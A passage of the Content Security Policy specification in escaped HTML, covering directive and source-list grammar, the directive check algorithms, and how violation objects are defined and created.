id=\"ref-for-list-is-empty\">empty</a>.</p>\n    <p>A <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"serialized-directive\">serialized directive</dfn> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string②\">ASCII string</a>, consisting of one or more\n  whitespace-delimited tokens, and adhering to the following ABNF <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-directive\">serialized-directive</dfn> = <a data-link-type=\"grammar\" href=\"#grammardef-directive-name\" id=\"ref-for-grammardef-directive-name\">directive-name</a> [ <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3③\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-directive-value\" id=\"ref-for-grammardef-directive-value\">directive-value</a> ]\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-directive-name\">directive-name</dfn>       = 1*( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1\">ALPHA</a> / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1①\">DIGIT</a> / \"-\" )\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-directive-value\">directive-value</dfn>      = *( %x09 / %x20-%x2B / %x2D-%x3A / %x3C-%7E )\n                       ; Directive values may contain whitespace and <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1②\">VCHAR</a> characters,\n                       ; excluding \";\" and \",\"\n\n; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3④\">RWS</a> is defined in section 3.2.3 of RFC7230. <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1③\">ALPHA</a>, <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1④\">DIGIT</a>, and\n; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1⑤\">VCHAR</a> are defined in Appendix B.1 of RFC 5234.\n</pre>\n    <p><a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives④\">Directives</a> have a number of associated algorithms:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>A <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-pre-request-check\">pre-request check</dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request\">request</a> and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑦\">policy</a> as an argument, and is executed\n  during <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a>. This algorithm returns \"<code>Allowed</code>\" unless\n  otherwise specified.</p>\n     <li data-md=\"\">\n      <p>A <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-post-request-check\">post-request check</dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①\">request</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response\">response</a>, and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑧\">policy</a> as arguments,\n  and is executed during <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>. This algorithm returns\n  \"<code>Allowed</code>\" unless otherwise specified.</p>\n     <li data-md=\"\">\n      <p>A <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-response-check\">response check</dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②\">request</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①\">response</a>, and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑨\">policy</a> as arguments,\n  and is executed during <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>. This algorithm returns\n  \"<code>Allowed</code>\" unless otherwise specified.</p>\n     <li data-md=\"\">\n      <p>An <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-inline-check\">inline check</dfn>, which takes an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element\">Element</a></code> a\n  type string, and a soure string as arguments, and is executed during <a href=\"#should-block-inline\">§4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?</a>. This algorithm returns \"<code>Allowed</code>\" unless\n  otherwise specified.</p>\n     <li data-md=\"\">\n      <p>An <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-initialization\">initialization</dfn>, which takes a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①\">Document</a></code> or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object\">global object</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②\">response</a>, and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①⓪\">policy</a> as arguments. This algorithm is executed during <a href=\"#initialize-document-csp\">§4.2.1 Initialize a Document's CSP list</a>,\n  and has no effect unless otherwise specified.</p>\n     <li data-md=\"\">\n      <p>A <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-pre-navigation-check\">pre-navigation check</dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③\">request</a>, type string, and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context\">browsing contexts</a> as arguments, and\n  is executed during <a href=\"#should-block-navigation-request\">§4.2.5 Should navigation request of type from source in target be blocked\n    by Content Security Policy?</a>. It returns\n  \"<code>Allowed</code>\" unless otherwise specified.</p>\n     <li data-md=\"\">\n      <p>A <dfn class=\"dfn-paneled\" data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-export=\"\" id=\"directive-navigation-response-check\">navigation response check</dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④\">request</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③\">response</a> and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context①\">browsing contexts</a> as\n  arguments, and is executed during <a href=\"#should-block-navigation-response\">§4.2.6 Should navigation response to navigation request of type from source\n    in target be blocked by Content Security Policy?</a>.\n  It returns \"<code>Allowed</code>\" unless otherwise specified.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"2.3.1\" id=\"framework-directive-source-list\"><span class=\"secno\">2.3.1. </span><span class=\"content\">Source Lists</span><a class=\"self-link\" href=\"#framework-directive-source-list\"></a></h4>\n    <p>Many <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives⑤\">directives</a>' <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value③\">values</a> consist of <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"source-lists\">source lists</dfn>: <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ordered-set\" id=\"ref-for-ordered-set③\">sets</a> of <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#string\" id=\"ref-for-string②\">strings</a> which identify content that can be fetched and potentially embedded or\n  executed. Each <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#string\" id=\"ref-for-string③\">string</a> represents one of the following types of <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" data-lt=\"source expression\" id=\"source-expression\">source\n  expression</dfn>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Keywords such as <a data-link-type=\"grammar\" href=\"#grammardef-none\" id=\"ref-for-grammardef-none\"><code>'none'</code></a> and <a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self\"><code>'self'</code></a> (which match nothing and the current\n  URL’s origin, respectively)</p>\n     <li data-md=\"\">\n      <p>Serialized URLs such as <code>https://example.com/path/to/file.js</code> (which matches a specific file) or <code>https://example.com/</code> (which matches everything on that origin)</p>\n     <li data-md=\"\">\n      <p>Schemes such as <code>https:</code> (which matches any resource having\n  the specified scheme)</p>\n     <li data-md=\"\">\n      <p>Hosts such as <code>example.com</code> (which matches any resource on\n  the host, regardless of scheme) or <code>*.example.com</code> (which\n  matches any resource on the host’s subdomains (and any of\n  its subdomains' subdomains, and so on))</p>\n     <li data-md=\"\">\n      <p>Nonces such as <code>'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'</code> (which can match\n  specific elements on a page)</p>\n     <li data-md=\"\">\n      <p>Digests such as <code>'sha256-abcd...'</code> (which can match specific\n  elements on a page)</p>\n    </ol>\n    <p>A <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"serialized-source-list\">serialized source list<a class=\"self-link\" href=\"#serialized-source-list\"></a></dfn> is an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-string\" id=\"ref-for-ascii-string③\">ASCII string</a>, consisting of a\n  whitespace-delimited series of <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression①\">source expressions</a>, adhering to the following ABNF grammar <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-source-list\">serialized-source-list</dfn> = ( <a data-link-type=\"grammar\" href=\"#grammardef-source-expression\" id=\"ref-for-grammardef-source-expression\">source-expression</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3⑤\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-source-expression\" id=\"ref-for-grammardef-source-expression①\">source-expression</a> ) ) / \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-none\">'none'</dfn>\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-source-expression\">source-expression</dfn>      = <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\" id=\"ref-for-grammardef-scheme-source\">scheme-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source\">host-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source\">keyword-source</a>\n                         / <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source\">nonce-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source\">hash-source</a>\n\n; Schemes: \"https:\" / \"custom-scheme:\" / \"another.custom-scheme:\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-scheme-source\">scheme-source</dfn> = <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part\">scheme-part</a> \":\"\n\n; Hosts: \"example.com\" / \"*.example.com\" / \"https://*.example.com:12/path/to/file.js\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host-source\">host-source</dfn> = [ <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\" id=\"ref-for-grammardef-scheme-part①\">scheme-part</a> \"://\" ] <a data-link-type=\"grammar\" href=\"#grammardef-host-part\" id=\"ref-for-grammardef-host-part\">host-part</a> [ \":\" <a data-link-type=\"grammar\" href=\"#grammardef-port-part\" id=\"ref-for-grammardef-port-part\">port-part</a> ] [ <a data-link-type=\"grammar\" href=\"#grammardef-path-part\" id=\"ref-for-grammardef-path-part\">path-part</a> ]\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-scheme-part\">scheme-part</dfn> = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.1\" id=\"ref-for-section-3.1\">scheme</a>\n              ; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.1\" id=\"ref-for-section-3.1①\">scheme</a> is defined in section 3.1 of RFC 3986.\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host-part\">host-part</dfn>   = \"*\" / [ \"*.\" ] 1*<a data-link-type=\"grammar\" href=\"#grammardef-host-char\" id=\"ref-for-grammardef-host-char\">host-char</a> *( \".\" 1*<a data-link-type=\"grammar\" href=\"#grammardef-host-char\" id=\"ref-for-grammardef-host-char①\">host-char</a> )\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host-char\">host-char</dfn>   = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1⑥\">ALPHA</a> / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1⑦\">DIGIT</a> / \"-\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-port-part\">port-part</dfn>   = 1*<a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1⑧\">DIGIT</a> / \"*\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-path-part\">path-part</dfn>   = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.3\" id=\"ref-for-section-3.3\">path-absolute</a>\n              ; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.3\" id=\"ref-for-section-3.3①\">path-absolute</a> is defined in section 3.3 of RFC 3986.\n\n; Keywords:\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-keyword-source\">keyword-source</dfn> = \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-self\">'self'</dfn>\" / \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-unsafe-inline\">'unsafe-inline'</dfn>\" / \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-unsafe-eval\">'unsafe-eval'</dfn>\"\n                 / \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-strict-dynamic\">'strict-dynamic'</dfn>\" / \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-unsafe-hashed-attributes\">'unsafe-hashed-attributes'</dfn>\" /\n                 / \"<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-report-sample\">'report-sample'</dfn>\"\n\n; Nonces: 'nonce-[nonce goes here]'\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-nonce-source\">nonce-source</dfn>  = \"'nonce-\" <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value\">base64-value</a> \"'\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-base64-value\">base64-value</dfn>  = 1*( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1⑨\">ALPHA</a> / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\" id=\"ref-for-appendix-B.1①⓪\">DIGIT</a> / \"+\" / \"/\" / \"-\" / \"_\" )*2( \"=\" )\n\n; Digests: 'sha256-[digest goes here]'\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-hash-source\">hash-source</dfn>    = \"'\" <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\" id=\"ref-for-grammardef-hash-algorithm\">hash-algorithm</a> \"-\" <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value①\">base64-value</a> \"'\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-hash-algorithm\">hash-algorithm</dfn> = \"sha256\" / \"sha384\" / \"sha512\"\n</pre>\n    <p>The <a data-link-type=\"grammar\" href=\"#grammardef-host-char\" id=\"ref-for-grammardef-host-char②\">host-char</a> production intentionally contains only ASCII\n  characters; internationalized domain names cannot be entered directly as part\n  of a <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp②\">serialized CSP</a>, but instead MUST be Punycode-encoded <a data-link-type=\"biblio\" href=\"#biblio-rfc3492\">[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> MUST be represented as <code>xn--tdaaaaaa.de</code>.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> Though IP address do match the grammar above, only <code>127.0.0.1</code> will actually match a URL when used in a source\n  expression (see <a href=\"#match-url-to-source-list\">§6.6.1.5 Does url match source list in origin with redirect count?</a> for details). The security\n  properties of IP addresses are suspect, and authors ought to prefer hostnames\n  whenever possible.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value②\">base64-value</a> grammar allows both <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc4648#section-4\" id=\"ref-for-section-4\">base64</a> and <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc4648#section-5\" id=\"ref-for-section-5\">base64url</a> encoding. These encodings are treated as equivalant when\n  processing <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source①\">hash-source</a> values. Nonces, however, are strict string matches:\n  we use the <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value③\">base64-value</a> grammar to limit the characters available, and\n  reduce the complexity for the server-side operator (encodings, etc), but the user agent\n  doesn’t actually care about any underlying value, nor does it do any decoding of the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source①\">nonce-source</a> value.</p>\n    <h3 class=\"heading settled\" data-level=\"2.4\" id=\"framework-violation\"><span class=\"secno\">2.4. </span><span class=\"content\">Violations</span><a class=\"self-link\" href=\"#framework-violation\"></a></h3>\n    <p>A <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation\">violation</dfn> represents an action or resource which goes against the\n  set of <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①①\">policy</a> objects associated with a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①\">global object</a>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-global-object\">global object</dfn>, which\n  is the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object②\">global object</a> whose <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①②\">policy</a> has been violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-url\">url</dfn> which is its <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object\">global object</a>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url\">URL</a></code>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation②\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-status\">status</dfn> which is a\n  non-negative integer representing the HTTP status code of the resource for\n  which the global object was instantiated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation③\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-resource\">resource</dfn>, which is\n  either <code>null</code>, \"<code>inline</code>\", \"<code>eval</code>\", or a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url①\">URL</a></code>. It represents the resource\n  which violated the policy.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation④\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-referrer\">referrer</dfn>, which is either <code>null</code>, or a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url②\">URL</a></code>. It represents the referrer of the resource whose policy\n  was violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation⑤\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-policy\">policy</dfn>, which is the <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①③\">policy</a> that has been violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation⑥\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-disposition\">disposition</dfn>, which is the <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition④\">disposition</a> of the <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①④\">policy</a> that has been violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation⑦\">violation</a> has an <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-effective-directive\">effective directive</dfn> which is a non-empty string representing the <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives⑥\">directive</a> whose\n  enforcement caused the violation.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation⑧\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-source-file\">source file</dfn>, which is\n  either <code>null</code> or a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url③\">URL</a></code>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation⑨\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-line-number\">line number</dfn>, which is\n  a non-negative integer.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①⓪\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-column-number\">column number</dfn>, which\n  is a non-negative integer.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①①\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-element\">element</dfn>, which is either <code>null</code> or an element.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①②\">violation</a> has a <dfn class=\"dfn-paneled\" data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-export=\"\" id=\"violation-sample\">sample</dfn>,\n  which is a string. It is the empty string unless otherwise specified.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> A <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①③\">violation</a>’s <a data-link-type=\"dfn\" href=\"#violation-sample\" id=\"ref-for-violation-sample①\">sample</a> will be populated with the first 40\n  characters of an inline script, event handler, or style that caused an violation. Violations\n  which stem from an external file will not include a sample in the violation report.</p>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Create a violation object for global, policy, and directive\" data-level=\"2.4.1\" id=\"create-violation-for-global\"><span class=\"secno\">2.4.1. </span><span class=\"content\"> Create a violation object for <var>global</var>, <var>policy</var>, and <var>directive</var> </span><a class=\"self-link\" href=\"#create-violation-for-global\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object③\">global object</a> (<var>global</var>), a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①⑤\">policy</a> (<var>policy</var>), and a <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#string\" id=\"ref-for-string④\">string</a> (<var>directive</var>), the following algorithm creates a new <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①④\">violation</a> object, and populates it with an initial set of data:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>violation</var> be a new <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①⑤\">violation</a> whose <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object①\">global\n  object</a> is <var>global</var>, <a data-link-type=\"dfn\" href=\"#violation-policy\" id=\"ref-for-violation-policy\">policy</a> is <var>policy</var>, <a data-link-type=\"dfn\" href=\"#violation-effective-directive\" id=\"ref-for-violation-effective-directive\">effective directive</a> is <var>directive</var>, and <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource\">resource</a> is <code>null</code>.</p>\n     <li data-md=\"\">\n      <p>If the user agent is currently executing script, and can extract a source\n  file’s URL, line number, and column number from the <var>global</var>, set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\" id=\"ref-for-violation-source-file\">source file</a>, <a data-link-type=\"dfn\" href=\"#violation-line-number\" id=\"ref-for-violation-line-number\">line\n  number</a>, and <a data-link-type=\"dfn\" href=\"#violation-column-number\" id=\"ref-for-violation-column-number\">column number</a> accordingly.</p>\n      <p class=\"issue\" id=\"issue-c404edb5\"><a class=\"self-link\" href=\"#issue-c404edb5\"></a> Is this kind of thing specified anywhere? I didn’t see anything\n  that looked useful in <a data-link-type=\"biblio\" href=\"#biblio-ecma262\">[ECMA262]</a>.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> User agents need to ensure that the <a data-link-type=\"dfn\" href=\"#violation-source-file\" id=\"ref-for-violation-source-file①\">source file</a> is the URL requested by\n  the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an\n  origin to avoid unintentional leakage.</p>\n     <li data-md=\"\">\n      <p>If <var>global</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#window\" id=\"ref-for-window①\">Window</a></code> object, set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-referrer\" id=\"ref-for-violation-referrer\">referrer</a> to <var>global</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/window-object.html#dom-document-2\" id=\"ref-for-dom-document-2\">document</a></code>'s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/dom.html#dom-document-referrer\" id=\"ref-for-dom-document-referrer\">referrer</a></code>.</p>\n     <li data-md=\"\">\n      <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-status\" id=\"ref-for-violation-status\">status</a> to the HTTP status code\n  for the resource associated with <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\" id=\"ref-for-violation-global-object②\">global\n  object</a>.</p>\n      <p class=\"issue\" id=\"issue-99576800\"><a class=\"self-link\" href=\"#issue-99576800\"></a> How, exactly, do we get the status code? We don’t actually store it\n  anywhere.</p>\n     <li data-md=\"\">\n      <p>Return <var>violation</var>.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Create a violation object for request, 